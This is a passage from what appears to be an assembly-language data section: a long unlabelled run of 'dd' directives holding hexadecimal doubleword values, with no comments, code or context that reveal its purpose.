913007Ch, 0FAEC476h, 0FD047A7Eh, 1D9FB95Eh dd 227C48E0h, 0BA0BA0CCh, 48F421CDh, 54896E9Ch, 2228496h dd 578E59ACh, 60C073C2h, 2F019A21h, 3A1C3240h, 502C1BF8h dd 1E0F011Fh, 461E726h, 34402A4Fh, 0CC8751FFh, 0EA4700F6h dd 85E9FD5Dh, 24134376h, 0B4020FB5h, 60739C62h, 986B3B10h dd 8A9401F5h, 8E010B64h, 56E3E4DBh, 43FC82B8h, 0AD7B587Bh dd 77E0C302h, 0FA2EB03Bh, 7E40720h, 0B083DE19h, 0C0FE6F26h dd 7CE8F803h, 0B1E706A2h, 6A70D1EDh, 0E6C28FBh, 5A7A009Ah dd 19C1B450h, 0C60773E5h, 2D168512h, 95836F00h, 0C590049h dd 818FD506h, 0E7002275h, 7C2AB3Fh, 2CC8A3Dh, 0F8310FFAh dd 8080EF2Fh, 72D52E33h, 65D7C800h, 847A01ADh, 45970743h dd 10D377D8h, 0C4661169h, 0D78C7303h, 4F8634h, 29BB2492h dd 0E1827806h, 73EE5E0Eh, 1900B58h, 5FEB654h, 2E006069h dd 776D0F48h, 1E1EC06Bh, 0F280C633h, 1568636Eh, 62597Ah dd 80E1004h, 0CBD490ADh, 0C07EEE87h, 0AF604901h, 6483C792h dd 0FD861DAh, 9D9E1424h, 0EE6EB898h, 81848C07h, 25B0321Eh dd 3BBF70FFh, 685C03F7h, 0DAD43C60h, 0EC0085A1h, 0F6CD1437h dd 82D0C5h, 1A4BB119h, 0DDC087EBh, 0DC5A9800h, 70954234h dd 7F670032h, 9BB5C697h, 930013A0h, 362A8CB0h, 7CDF1ACDh dd 0FCE13EC2h, 0A500A3BDh, 9E1BF9E0h, 1600DE3Fh, 40865A68h dd 49186725h, 57006002h, 6EF07B78h, 615D061h, 1F8076CFh dd 0E4DE0E24h, 5B1F3F81h, 6C2BC1h, 18DCD900h, 0EA6642E3h dd 31DF490h, 3EFBA7h, 1AE92E6Eh, 5C55E2BCh, 4300BBE4h dd 97183F3Ah, 27005B32h, 0E06C60A2h, 1636B7E6h, 5D0BF2Ch dd 900BDA24h, 35D2918h, 0F4883126h, 0BBEC5100h, 9FAC7E14h dd 260EC01h, 0F6C6056h, 0E05C8C2Ah, 48181A0Fh, 38108089h dd 25A070Bh, 6F2BF48Bh, 0ECCCAF9Ah, 360017B0h, 7544E086h dd 4606CA2h, 0B34CC0E6h, 0D8FC8095h, 7C12A78Bh, 0F8E0CC1Eh dd 6FF02CBAh, 0C92200F9h, 0AA782505h, 0B5A7F800h, 0AC2F606Eh dd 0FC204DF5h, 0D0DFFF00h, 6F062C24h, 9E700378h, 1A4A1C00h dd 7CB2BB28h, 0EA5A2A93h, 0C3200BB8h, 4009ACEFh, 6800A893h dd 8B592909h, 7482E74Ch dd 2B6E026h, 4D39BA1Ah, 8189D69Ah, 0F8EA90DAh, 2B906A00h dd 9F812141h, 3078B8CFh, 7569968Ch, 0FD4BB90Eh, 0D5B3AC80h dd 885205CDh, 8469DA98h, 816CC04Ch, 0A14C94DCh, 63D500C9h dd 38C3303Ah, 0D0450F83h, 2B25ABC9h, 50D49715h, 4C477FA5h dd 0D3EE3913h, 4850EC0Ch, 0B2DD007Eh, 0A5EF1C68h, 38593AACh dd 2A4E00A0h, 0C0B9A07h, 0B75B00F0h, 4BE2D7B5h, 0F20B27ADh dd 0EC546Ah, 0DC3DCC60h, 2F300039h, 0C3EA5FE5h, 3E4A4617h dd 0D0E76C82h, 0F995089Ch, 83BD5123h, 18F5D6EBh, 9EB6988Ch dd 0CA8601ECh, 88D9DB17h, 0A58FD047h, 0DC5B4100h, 373FE959h dd 0C0CC92C3h, 0B5D0C6D9h, 0AC4972DBh, 58E92EF8h, 18F3DD01h dd 4824A85Ah, 0BD403A87h, 0CFEA8A1Fh, 70A034C4h, 69A73635h dd 0E5163Dh, 0DE61577Eh, 76F1ED3h, 9E7F5FF3h, 435DD378h dd 0BCE5E800h, 442366D8h, 0AF1E1821h, 81A4D8F0h, 0B0A5D905h dd 0F8C0894Ah, 13DAB672h, 61E9E51Eh, 0E71C7940h, 80EDE487h dd 0C5D2CFCCh, 0F065851Dh, 0F8E1C806h, 0DF1E02BAh, 0A83D3A3Fh dd 0DD07C8F0h, 2871EBB9h, 0A8DCCB13h, 636453A1h, 0E70C21EEh dd 942CC888h, 8A4E60F5h, 0E997BE00h, 11F9ECF4h, 9E7784Ah dd 8D452CDDh, 4B7A4821h, 343C2455h, 6094FA02h, 5CAB4270h dd 59C30464h, 1B0897C1h, 3B238810h, 0FD00DFF6h, 94EAF31Fh dd 5839A524h, 2061B054h, 6011D4C4h, 3C00828Ch, 311F7F53h dd 3886D3C0h, 92BB4D98h, 5151180h, 4A5820E2h, 90070774h dd 513FACBBh, 0A880ADC4h, 1F95E0BFh, 3A5D3055h, 0FE08E680h dd 0FCEC6FC1h, 0B80E7Ah, 0DC00F773h, 6129B0BFh, 70286A03h dd 83EC1D25h, 0B7194079h, 84AB9204h, 56E83727h, 20490011h dd 71FC5A08h, 0BC424C00h, 3BDDC206h, 9220047h, 7344805Ch dd 0C81238B9h, 93074E96h, 6870E1E9h, 5370BE8h, 485CB5F3h dd 1510C08Dh, 0B200E501h, 9285D703h, 24F3C18h, 0A6C33A7Fh dd 0BC809887h, 32CFC025h, 6678004h, 44C0BBCBh, 0BD1201h dd 63852DD8h, 0A066C70Ah, 57D4F200h, 0AC3D2C6Eh, 12C5008Ch dd 0DAF6E022h, 74047859h, 0F9D9D62Fh, 5FEF2880h, 0C42095C1h dd 2E1ECEBCh, 14EAD700h, 71295D43h, 46F8A898h, 0DE360308h dd 0D818940Eh, 245DF199h, 2EA060Ch, 0F31B7000h, 9D99DA1Ch dd 791973E4h, 0D1D254Bh, 54A60E0h, 2E3FCFE4h, 1ED8813Eh dd 2C956678h, 4D46971h, 14612E45h, 43B50F0Eh, 0AE8A7h dd 803B2DC4h, 0CDF188C0h, 7982641Ch, 5A8F0372h, 9FC53D36h dd 0DBFB7BD8h, 448A7E02h, 486D4831h, 7FDA2E8h, 3909F03Dh dd 341A9272h, 2000C070h, 3F8C5816h, 46E082h, 14F0A296h dd 8935609h, 9CC0CBECh, 0FA861977h, 0B4F627E8h, 6B02F060h dd 0BABFFF00h, 0B6132CA0h, 0A822956Dh, 8055B2DCh, 0FCCDEDCBh dd 0C37D0998h, 98C0A019h, 0F8484145h, 0A9F60094h, 77AA6018h dd 5F710069h, 51EFDFD2h, 23050D2Ah, 163E5D76h, 0DDA9F091h dd 4F18093Eh, 7F3C3481h, 166462D4h, 0CC0014C8h, 10265C33h dd 7E2B1341h, 0B6688CEEh, 2180B159h, 0C028A692h, 0B1BB5435h dd 0DA0A7201h, 0AE52F0C3h, 0D9CC4C2Ah, 4A028878h, 30CC3DE9h dd 0AC5018h, 727367EEh, 5ABED7Ch, 0DEB6910Bh, 0B4A02006h dd 0C11D8Fh, 1A301BAFh, 0BE6DD6A9h, 0C053324Bh, 48FE825h dd 69F36077h, 4FBB2510h, 81F98500h, 3DB96E8Ah, 0FC3401FEh dd 508DC3CEh, 0CBC6787h, 411C4CD0h, 0A14E005Eh, 0EB4783AFh dd 81EA92F2h, 0BFCD4F6h, 1A07610Bh, 35702210h, 98472698h dd 67C40802h, 80EE4858h, 0F020DEC8h, 0F1311832h, 153E6847h dd 0EF089C0Bh, 19E48110h, 0FC30FFC7h, 0D4B8277Ah, 37754810h dd 0B355A67Dh, 2C74FAC8h, 0E800C422h, 183A12EAh, 7A44F9Eh dd 0BCA16FB6h, 0A016B243h, 0B7343CC0h, 0A3B00B06h, 26A06107h dd 2C7510BDh, 0C026CCh, 97B31AE3h, 610C3A41h, 0B8D2315Ah dd 0DBBD1945h, 0EFE0B021h, 0EF71F9A0h, 5758A470h, 1F0273Ch dd 0E5200E90h, 0CD080DAh, 0A8D5F38Dh, 1CE6CBA4h, 53156C7Bh dd 222800EEh, 99EC0C8h, 4EA535Ch, 58E673Fh, 263C9C80h dd 98CB9063h, 0D77C1FE4h, 52104B62h, 7DC54800h, 6C069792h dd 21AEACB9h, 3C860019h, 93BBC93Ah, 300FA678h, 38DCD140h dd 3EA3D670h, 20DA5EEAh, 5DAB4A48h, 0DC7C492Ah, 67196313h dd 3B610440h, 5D2F81AAh, 0A52C002Ch, 0BD7C40B8h, 0DE01706Ah dd 648B5B97h, 0DBE07131h, 4A2500C3h, 0D1082D2Ch, 0D500F6CDh dd 2864BBC0h, 0D8D924h, 0B5BCD6EDh, 36789747h, 0E5A75700h dd 0AF04D24Dh, 4B8B009Eh, 7F2E3C9Fh, 77002A13h, 0D6C619B9h dd 76B59Bh, 82E998EDh, 0A03F31C5h, 1EEB3C3Ch, 6B00EED1h dd 9BB12FF6h, 0F77E0F34h, 19671B0Fh, 0B0F4A1FDh, 0CE05E866h dd 81C32100h, 0F34CF9EBh, 93AF0050h, 0CD39D99Eh, 0E41687A9h dd 5001BA9Ch, 0D115D7DAh, 77DC406Ah, 7CECB586h, 0E5718101h dd 73B434AFh, 0D01D9040h, 391A0063h, 6BB29A97h, 9F4F101h dd 9B8058B6h, 2C56B6BEh, 482707C6h, 0E090F90Ah, 19765141h dd 0DDCA6C07h, 1F910431h, 40C26EC7h, 20339C08h, 3C008891h dd 602CBDAEh, 193A02Eh, 0F4F5D5C4h, 0D41B4367h, 0BC2EEA42h dd 19009907h, 0EBD12D77h, 54EEE2A5h, 4E0AF493h, 61C0442Bh dd 3AB7008Bh, 3F2732h, 685A8ADCh, 4204C37h, 0FA0073E6h dd 70AD241Fh, 2C2CC239h, 90685FD6h, 0E0045B25h, 0C7007008h dd 560B6487h, 0ADA0C5ECh, 6800BD4Ah, 0FF664146h, 488379F8h dd 600010DDh, 62863045h, 0DE5EC80Dh, 80D76C80h, 0CC492F4Eh dd 0FEAB1882h, 0B0AE300h, 0C98800CBh, 7A83DFE0h, 0BE1D577Eh dd 0FC0F382Ah, 2906E064h, 907C67E4h, 40441ECDh, 86A9C3DEh dd 738B4AD1h, 0EC4CE4C0h, 1258C960h, 26FA009h, 4065117Dh dd 0F8F0A9BFh, 78A38701h, 0B826242Ah, 23F184C1h, 0A800C38h dd 0DEABBE91h, 2EB4FB00h, 4419C2B6h, 0BC75001Eh, 234CADAAh dd 95717ED4h, 2AB43503h, 0C8131FCCh, 0ACAFD18h, 0AA9DBF3Bh dd 81811DAAh, 0D01AAF05h, 0BDB0429Bh, 8E091444h, 8053435Eh dd 24C9D938h, 1E050031h, 0FE3F628Bh, 0FC096A77h, 1004C5EFh dd 999A38h, 0F202CEB7h, 6F07ECCFh, 8F5B226h, 0E057470Fh dd 7FC8105Dh, 3D5AE256h, 0A2DC27F8h, 0DC87B500h, 5C8F6811h dd 0B25E5102h, 80DE2A28h, 0E8554B9Bh, 97D3006Bh, 0E2F83DA8h dd 0AB004453h, 0DB487D8Dh, 0C335F83h, 30DCCD24h, 0B0A0EA70h dd 1601774Dh, 0C7736863h, 93E48BFAh, 2C8BBD23h, 6481000h dd 9A008354h, 38258D21h, 25B1B3D8h, 1C8F0B4Bh, 0E8190240h dd 0C824F3F8h, 21005839h, 5AB52659h, 0EDEE16ECh, 644E02B2h dd 34E08954h, 81587B32h, 4E7D1610h, 150C4847h, 0FE02EC91h dd 8860FBDDh, 9E9003A7h, 7EA65919h, 0FD44B82Ch, 4846303Ch dd 33D4237h, 2602050Fh, 0FF8076DCh, 2000325Dh, 0C1E0FA03h dd 3CE5702Dh, 345DC813h, 0E0F43318h, 0D9134A2Fh, 0F0C0C476h dd 4B8875FDh, 7B54C147h, 723434CFh, 8077C83Eh, 0EB8A38E3h dd 2891FAh, 7C0A25B7h, 0F262DD7Eh, 4547718h, 42CAE2E1h dd 0D5A680F1h, 71F629E0h, 16A4BF3h, 69A8DF68h, 7603C53h dd 0F911E3B9h, 0ABA7E810h, 9E3300AEh, 0CE70E10h, 0C400B6A5h dd 717A68B5h, 2605E65Eh, 1324704Ch, 0E1480085h, 3B42AFA0h dd 78795400h, 0CC5D7159h, 0B3A501ECh, 14BF3F46h, 2F24682Fh dd 9890CBA0h, 3325481h dd 0C88CB956h, 0FDB32EE6h, 0BC048806h, 0B608918h, 1A32CE3Fh dd 6040A42Bh, 0E6037FE3h, 4B3981C6h, 0F585F8A2h, 8C9AADh dd 90281C42h, 0F96A4DEAh, 60A3CB25h, 7DA784B8h, 1C355DF8h dd 33288D00h, 5BC2190Eh, 7493945Ch, 8B867100h, 0DC6A0676h dd 992300CBh, 0E1640805h, 963FAC3Dh, 8DE201D7h, 0AA28117Eh dd 34B3EA40h, 452600A1h, 0D15AFC16h, 820083A8h, 4AA7A3EBh dd 0F5356h, 0B965AD90h, 0A3375E7h, 0C4F9D203h, 9B42Ch dd 0BDE102B8h, 19CA4B28h, 0D7EC831Dh, 0B4C41740h, 26750D1Ah dd 1D83EF9h, 771F120Ch, 0B71180BEh, 2E11CB82h, 0B94A1C57h dd 90DC2C53h, 69410C30h, 75F990h, 4B08BE15h, 856DE0F4h dd 0F7AE3900h, 0E8FF0632h, 6E220440h, 0C514B9A7h, 31F40090h dd 742B4987h, 0DB67AB3Bh, 3D7DE881h, 0F6206011h, 69CEAC64h dd 61D5202Eh, 5E26EA1h, 0CDB5878h, 1648A81Eh, 0F8E0CBFDh dd 3319079Fh, 0A6231494h, 18009068h, 0C291A22Fh, 1C82B127h dd 0C0754A99h, 0BEEEEF41h, 127AFA80h, 17075F00h, 828AE308h dd 135D7D0Ch, 4E4CFFh, 0A61E40E0h, 0DE3E59C5h, 90E1971Bh dd 92971401h, 0E46D84CEh, 0DBDABC00h, 0F5DD1D0Dh, 7A79E307h dd 0E597BEEAh, 0C0A2F600h, 0F74B0B73h, 0FB873102h, 58B88005h dd 6F5CB3A0h, 0FC10FA00h, 14F3D3F9h, 510D5203h, 4AF83629h dd 0B2D43F5h, 2E0E445h, 0EAA7DAB3h, 0E920A28Ch, 0F01CB8h dd 650D87ABh, 31E6FC32h, 0F4756C2Ah, 6FCDCF01h, 9489EE48h dd 2B7AF0h, 0E6DDF632h, 0F050614h, 4059BE00h, 441B0D18h dd 0E0C50974h, 0C028DC3h, 0F7224B61h, 85B5303Ch, 0D882575Eh dd 1745E11h, 0B48F1255h, 0B644F487h, 800163E4h, 383DD59Bh dd 3196AE3Bh, 22F8A0DBh, 31CB281Eh, 0DC706CC9h, 2B40BDFh dd 85C0508Eh, 4BEF3A63h, 0C234BA00h, 96A4EA31h, 0A1107BFh dd 0D01C4D8Ch, 993372EEh, 7ECB9800h, 0F06A6530h, 408F00E0h dd 0C3B65C55h, 750086BCh, 0D89915CDh, 0C87B23h, 24C7FA1Eh dd 0DB400E14h, 0A32FF200h, 0F7E353CCh, 802D0EE6h, 2561FB2Ah dd 2BAFD168h, 0C7DDE000h, 0F218EA27h, 73A300BEh, 0E9B9FD19h dd 0E50090C4h, 9FC2AB3Dh, 1ECA581Eh, 0C026101Ch, 9D458465h dd 9700B93Ah, 301222AEh, 488EE74Dh, 0F6052A91h, 0E87937A7h dd 0AF100918h, 5840A0E0h, 1D7EC122h, 9FA72E9Dh, 0CBE24094h dd 0BE431889h, 2600017Dh, 0FE8FF355h, 0EF1CF42h, 0A3D22E20h dd 134032E0h, 209017FFh, 100078F4h, 89A4C2E0h, 265A189Fh dd 384DE4h, 73CD044Ah, 760031BAh, 0C6AD11EBh, 11FB0BEh dd 399D1880h, 0E40A8241h, 5D128E78h, 40812E55h, 0F1142AE7h dd 4FD82C68h, 3D906800h, 88B804h, 0EE2EF862h, 0CE61C2A5h dd 17734B0Fh, 8E0C3E13h, 90A010D9h, 1EA30128h, 7C2CC1D5h dd 94C28C0h, 0A014DE52h, 0E0D7FEECh, 0EEB8CB93h, 0FDE2FF81h dd 7B799DD5h, 948B965Fh, 984F015h, 39143579h, 557A7868h dd 342D48h, 4338C5BBh, 3754503h, 7D24B41Fh, 38008A88h dd 0FFE964A2h, 2DE13D6Eh, 0F0097F0h, 0C0B11875h, 0BF9E2C19h dd 106C8DA1h, 7C23409Eh, 35621639h, 152E68C3h, 0F4ED3DDh dd 41AD3C59h, 0AEF667C0h, 0B7232A0h, 0EA5050A9h, 0C7EA04E0h dd 0FFE1A500h, 8A67E746h, 5F301796h, 0A060C709h, 889AD7C2h dd 0FDF02000h, 68038EA1h, 4621C050h, 90F1F664h, 0CDD06E02h dd 0E24F4AEEh, 40E45ECAh, 577E7212h, 0BD19948h, 0D3FB3Eh dd 27CD3104h, 0D86001ABh, 86963C1Ah, 0F0D821EFh, 6A0EC7F6h dd 0E0195AAFh, 3D6F4DFAh, 8809517h, 0A4CB6ABh, 0F0605Dh dd 0DC3C2179h, 904FADAFh, 0E25B0FEAh, 0EC67FE29h, 3DAC90F4h dd 252486D8h, 0F081785Dh, 65B6590Ah, 0BE6C046Eh, 9D770547h dd 0E9D19420h, 0A4042A5Ch, 84CA00BCh, 4B548AB2h, 8E26F1A8h dd 1801B8FBh, 0CDCC59Bh, 17BA4920h, 0E0AA7CB2h, 91F0C2A0h dd 0A56CFD18h, 4DBFEEh, 6B139AB2h, 83A68830h, 11D0E830h dd 0B3E3C6h, 0E153FCC3h, 345CC715h, 1F6F5400h, 9BF0FAA8h dd 0E4697D73h, 12840036h, 0BABCCF31h, 47033B48h, 0B9C0E855h dd 0D9F9A065h, 91790758h, 0A0A0EC41h, 5D70108Bh, 0C2B7EA0Bh dd 0AB9C01BDh, 0B4246B79h, 8620002Ah, 6787D769h, 0A800F606h dd 6307CD95h, 14B8842h, 0C01139CEh, 6435A533h, 8595D3B8h dd 10B0FD80h, 0DD4E1780h, 80F45D2Eh, 0F6A58644h, 901EA67h dd 703CBE1Bh, 1CFE6FEh, 9A11EF79h, 70A5DBBBh, 6E783476h dd 0C4380703h, 0CFED4716h, 20842089h, 6E76703Fh, 8AA920B2h dd 7474385Eh, 924E0098h, 1B80D353h, 0F7007825h, 0B5950521h dd 0FE72A662h, 35ED2807h, 64493438h, 2003AE38h, 6BDA291h dd 90F81618h, 0B00A878h, 0EBBE3BA8h, 6A95B6h, 0DA34F14Bh dd 1018CC12h, 16C8901Eh, 6438EDCAh, 92202B90h, 364CC195h dd 0FDC7C510h, 6DB4F00h, 444D6224h, 64940009h, 6FE8E37Fh dd 4B00E534h, 0C3ABC71h, 0B64EF3h, 3EEA3912h, 0F89A3FE3h dd 1B1DFE00h, 0D2F3B062h, 25FC0Fh, 0C7E6A9D6h, 0C4BE077Eh dd 5398ED54h, 0ADB71400h, 0EC452F0Eh, 5F1600C7h, 3B189793h dd 1D2AEE34h, 6A1CA8EAh, 6E4010B5h, 0F8DE7829h, 0E018C250h dd 0C090F7F2h, 0BD4834C7h, 219000C5h, 0ED135D85h, 0CFFD0C0Eh dd 66CEE133h, 6B290092h, 7B1F8C6Fh, 0E50C7579h, 51ECC51Bh dd 0BCD00063h, 8C170AF8h, 700475Fh, 43B8C265h, 30FED56h dd 0ACB3F723h, 37C02217h, 0A7000164h, 9E351DF0h, 0CEDC78h dd 94BAE8EAh, 3677AC3h, 1FEE421Ch, 0DF9CD9B0h, 949E1F6Eh dd 0F6F209B9h, 0BDA04C00h, 461ECF21h, 991824A3h, 0CDBBA9h dd 0AB01909Eh, 61504D13h, 416B690Ch, 0C39FE8B6h, 81669429h dd 6252E901h, 0D6C52764h, 5429D980h, 0EDF63C47h, 0C9D0A102h dd 0A02A5B9Ch, 0E4A0C5BCh, 8DDB0050h, 1B3266B0h, 0AC1E13BFh dd 39C05435h, 6ED27987h, 5E110118h, 0F1D3C107h, 8FD7D1AEh dd 80997208h, 7CA638CEh, 327493h, 0B4A08A6Bh, 0A85F9178h dd 317C87F8h, 5D9D1007h, 8FFF77B3h, 80C607B4h, 106C46h dd 0A1D87DA3h, 49D379E7h, 0AB03F100h, 8F67AC51h, 0A4B5002Dh dd 5EA762CEh, 0B33C63A2h, 0A532037Ch, 0D7319E60h, 0C7086E86h dd 0B7A33630h, 0F0ADC791h, 6BB04DCEh, 0F8359C01h, 0F92F9D78h dd 41E6449h, 4DB8E0BBh, 0C610C31Ah, 1918B78Ah, 7A218D07h dd 80DC0E0Bh, 5520C6DAh, 0F27469A7h, 41625A00h, 96B40242h dd 167E0Fh, 0CFCBA8F7h, 304CAE63h, 11690E60h, 3B5FD7Bh dd 0D39C8A83h, 8337270h, 0E8CC2114h, 0F08EFDh, 84C7FEA6h dd 59F722FBh, 81611739h, 697C85E3h, 0B0C72765h, 309A18BCh dd 0FE49B3B8h, 0D8613A33h, 154E96B0h, 321459BEh, 0C830748Fh dd 3960CDF9h, 0C90D4300h, 7EAB1733h, 77520072h, 54028093h dd 0A418F32Fh, 535009D9h, 0D8238BB4h, 0FD770150h, 186A83B9h dd 7FB0881Dh, 83ADFD00h, 0F3EECB2Bh, 7C980AA5h, 194C6F7h dd 9AE23384h, 64188EF2h, 0EE01902Bh, 9B551C0Eh, 821083DDh dd 3D48F33h, 0C0D83B40h, 0D93BBE06h, 774D80A1h, 0B2AC8C1Bh dd 8946E40h, 898021F8h, 4A424D06h, 1991B31h, 0ED3DA42Dh dd 0F4CB4E7Eh, 0F60159C4h, 6E965738h, 0C5E473D5h, 0D2CC0299h dd 0E28CC6BDh, 0C0880C48h, 0B1E88118h, 6BCE11h, 4C27D313h dd 7C2F0DF4h, 21C308CCh, 13520170h, 4D91297Ah, 0FC81800Bh dd 2D653FE5h, 0DC9A551Bh dd 0E28750F0h, 8EBCA097h, 136414C3h, 0E80A80C9h, 7440C06Fh dd 0E100B946h, 0CF1A1490h, 8514737Eh, 83903101h, 18FE4696h dd 39A7E899h, 0C401287Dh, 0E1B0B892h, 198ED20Dh, 0B1D809AEh dd 6B1E874Eh, 0A980DD1Fh, 0ADF65E01h, 9006E4EFh, 87460C50h dd 88201D4Bh, 0F1A9A01Fh, 17990F84h, 0A72F5203h, 2D3491DCh dd 0C63020D0h, 0BE137D18h, 285B8AF8h, 5FCEBBFh, 86FFA3C0h dd 3B984C40h, 83314390h, 0CFB820C5h, 93E59983h, 0CDA04673h dd 0CE60BC21h, 0EB58F019h, 47762810h, 2BD46A4h, 27CF1367h dd 10B5312Ch, 3134E64h, 0BC4C9029h, 1900BDE3h, 601ACF84h dd 0E03F017Ch, 90F338ABh, 28F55681h, 223AEEA6h, 30A5F258h dd 75003AC0h, 0EC918515h, 1161AB9h, 18C6AC84h, 40DC677Dh dd 57338890h, 4DE080ABh, 18C6A49Fh, 0AA1DA2Fh, 9D60727h dd 7DD20EB8h, 66B79D40h, 4B07B029h, 649B8F5Bh, 670FE034h dd 18DCB059h, 7B4D08BCh, 8FC4AC1Bh, 4D857C40h, 6106BED0h dd 0F39743BBh, 0C7EE90h, 1691E736h, 93BD8FF7h, 12D2AC3Eh dd 38400931h, 8453A343h, 5587247h, 0BB7E6C04h, 0CED840C2h dd 10143616h, 5CB49001h, 4478AA17h, 1373C4h, 2708A02Ch dd 58D1F3BCh, 5E70E800h, 594B5FCDh, 98150E8Fh, 0CC8CBD78h dd 0A603051h, 90CE5879h, 358E02E7h, 632F53F3h, 8881544Ah dd 3AF1754h, 0E67BE188h, 9355B050h, 7E8180C4h, 0DA12527Fh dd 0E02117BDh, 40E1A0C6h, 0EFB90843h, 19287086h, 20C7638Eh dd 0A781815h, 0A8E38868h, 0EA1B80D8h, 9D982074h, 0DC59281Eh dd 0AE624882h, 4BC6C4Eh, 83B7FD8Dh, 2015629Ah, 0EBFD75C6h dd 21A5F8E5h, 0D252A402h, 432B8425h, 1AD02893h, 70CA06E4h dd 0D8CB3755h, 29BDC13Eh, 11198C5h, 0A6376A00h, 140BE4B5h dd 0FB52D500h, 0EA4C8610h, 83670041h, 0F0A99DB2h, 0AC9CB875h dd 0BD02F792h, 61745161h, 0A83458A4h, 8E21C7FDh, 0FE5C50D9h dd 0EC12C7CFh, 54011B71h, 32AD874Ch, 788EC844h, 50C0BB88h dd 34A6FCh, 17BA3FF9h, 6518C45Bh, 0E8C52F33h, 0FEEBC9F0h dd 8C68441h, 0AC4F3C30h, 0FD8C04B0h, 62A283B6h, 74C72016h dd 73006FFDh, 0F7E17EA4h, 62F47DB1h, 0EC1C8A9h, 0B6B04A00h dd 629829C9h, 191D5930h, 243BBBFCh, 4E40E4CFh, 44DE51EFh dd 939B06D1h, 0AAF01CC0h, 0EC0FDAD6h, 0C3C2B297h, 7E36384h dd 0E45869E1h, 88C0964Eh, 79025246h, 7A83BBFDh, 0CA101831h dd 4707FD81h, 158B3D94h, 9C0703h, 16A68779h, 6082FA1Eh dd 741E9F4Ch, 2320964Ch, 4DBA01DAh, 18BC1B79h, 838288A8h dd 0EC5B4D00h, 16F7186Ch, 0BA461353h, 23442F3Bh, 0A26803A9h dd 0BBA13BCEh, 0D03424CDh, 12E53C04h, 2882969Fh, 13693087h dd 7C27D911h, 6E80B888h, 76F81350h, 1BC01E7Dh, 3CD14236h dd 5CC09333h, 0F76243BDh, 5184C669h, 0DBC94020h, 0B5E6AC1Dh dd 5000FFEh, 0BDD04366h, 1E8AAB6h, 0DF3AF2C6h, 62AC5C40h dd 0E4BE2EB4h, 14AF1608h, 12BCDC63h, 56CF008Ch, 0ADEBA37Ch dd 510C72F2h, 0B8BF0B97h, 0CABB223Eh, 0BD00ADF2h, 0D524C998h dd 3F804F13h, 321D607Eh, 0CB95E21h, 17D19107h, 6C1A400h dd 0C87815B3h, 0B27A01ECh, 522D6A9Ch, 0CC85EE51h, 0DBE008C6h dd 784DB9C0h, 2284461Bh, 828300AAh, 0A4640D4Dh, 0E90CBF18h dd 883EFE06h, 91FC1785h, 0E454274Ah, 863740A6h, 0F6CB9011h dd 8D7F02E6h, 29018863h, 0B8613C81h, 91C0316Bh, 7E0096C9h dd 0F546F6A7h, 0DE00A198h, 2B2585B4h, 0B87AD73Fh, 466890CCh dd 9DD487Fh, 0B3C4516Bh, 9847BC68h, 0FF5650DBh, 5068ED1h dd 33E0FA6Dh, 63F407C0h, 40644B58h, 0C3AB2F51h, 0D0ADC4A0h dd 74F0AA14h, 0D2029234h, 937C5166h, 0F28234h, 36F1D68Dh dd 17DDB58h, 5BA43307h, 0F820FFB3h, 0C728A50Fh, 9360B8FFh dd 0E70DD3h, 0D734D1F5h, 0B109DA70h, 0ADF42D12h, 0C0BE9C08h dd 27D21366h, 0B6224446h, 0AC6548h, 0D6664E6Fh, 2F28E5Eh dd 0F276BDBh, 0F46811B9h, 91519F2Fh, 0C4CC0C84h, 0F4020A00h dd 0CA3C95E7h, 983303D8h, 0F0D114A7h, 0A86C3826h, 4174674h dd 0B8A8A726h, 72B0CC8h, 2A4C9EC2h, 0CCBB62A4h, 70C4A08Ah dd 4684AEE3h, 0FD760251h, 677283C0h, 7EB107E4h, 280162FDh dd 0D4B04844h, 0B84698D3h, 1199A07h, 0A9CEDE92h, 74653E75h dd 2951F56Ch, 0FC53EEACh, 0F56DC70h, 98037802h, 0BA01F50Bh dd 0ECE18A05h, 80ED30BDh, 83F141A9h, 15A801Ch, 9F7C706Bh dd 9DD0EC2Bh, 0ABCAA089h, 140790F2h, 0C794F155h, 18F074E6h dd 8474BF5Ah, 3628DE01h, 0C223072Ah, 14B2C463h, 87F030h dd 212C2D94h, 596DAC0h, 0C63FBD15h, 0C0B728F4h, 40F70CFBh dd 0DCB2D0B4h, 24DFAD04h, 6A09A4A1h, 0B41BCF84h, 40184A74h dd 0CA419206h, 4BE732Dh, 0D9571E07h, 7D00801Ah, 0F7189489h dd 14298E06h, 18E4390Eh, 988BB00h, 1561101Ch, 46437003h dd 0F86DCFA5h, 75B96676h, 0F0D0C08Bh, 0D65196AEh, 0FE24709Ah dd 55611C25h, 8400C6A3h, 0EF4E675Bh, 0C0C18848h, 1B764DBFh dd 302C944Bh, 4D880081h, 6CAFFAF4h, 0CB01EFC7h, 451B97CDh dd 6097DF5Fh, 0CBC6F24h, 6E0B98E7h, 56833CA3h, 551B5F83h dd 5800C7C3h, 8B02FD1h, 3BBD0A30h, 41E289C6h, 8481365Fh dd 52F39C9Ah, 8082C7BCh, 7408D8B8h, 8E465Ch, 1484227Eh dd 50D11727h, 2987F01Ch, 0E83D01h, 80C08251h, 0D331E891h dd 2BFE0876h, 6B3F1822h, 0B77003CAh, 0F89A5B05h, 4B60BC82h dd 3079A461h, 0F78C81B8h, 585165D4h, 92E114D4h, 8FE0D7DDh dd 0B7542B03h, 880851E4h, 809807DAh, 4943B80h, 0F2016FD9h dd 72E20C6Dh, 342C8FADh, 1D24111h, 68786BB7h, 9DEA0C51h dd 808F1194h, 84F45CABh, 0A2C10133h, 0D7C9A5EFh, 0CA042140h dd 13136830h, 8B5427D4h, 536F0094h, 0B24FF313h, 0A6E322DCh dd 0E437CA00h, 812E5AFDh, 0BE1A0AE5h, 5E58AC93h, 0AD00A446h dd 2223A35Bh, 0C7077F0Eh, 85B90207h, 54D0A7B4h, 9E2B6518h dd 8D01724h, 5280C578h, 0C445FFA0h, 6DD33955h, 1CA8FB82h dd 1C61C054h, 66608C2h, 0E8963D56h, 460BC9A4h, 805F8954h dd 3E6BBB8Ch, 63D4E7C4h, 47C9CAFh, 0B0581D14h, 6CB1D134h dd 0FE637081h, 0B8F81BFCh, 13A90191h, 21EF278Ah, 1FB60705h dd 80D97E10h, 30907458h, 0C69180A8h, 0C365861Ah, 79607150h dd 0D118B9h, 0EF15BECCh, 0C0B00BFCh, 41098E77h, 2B60AA3Eh dd 11DC1D20h, 0C1AA8F8Dh, 7B5F3749h, 5C341C71h, 0D11CB9A5h dd 4B218C3h, 45896D1h, 1084CEAEh, 8804A9EBh, 8DC4433Bh dd 84CC2CA0h, 0C0E0BA70h, 7124A031h, 9190127h, 29680BF1h dd 0C79C20FBh, 0B838A063h, 1E31226Bh, 7649700h, 0F77E62B2h 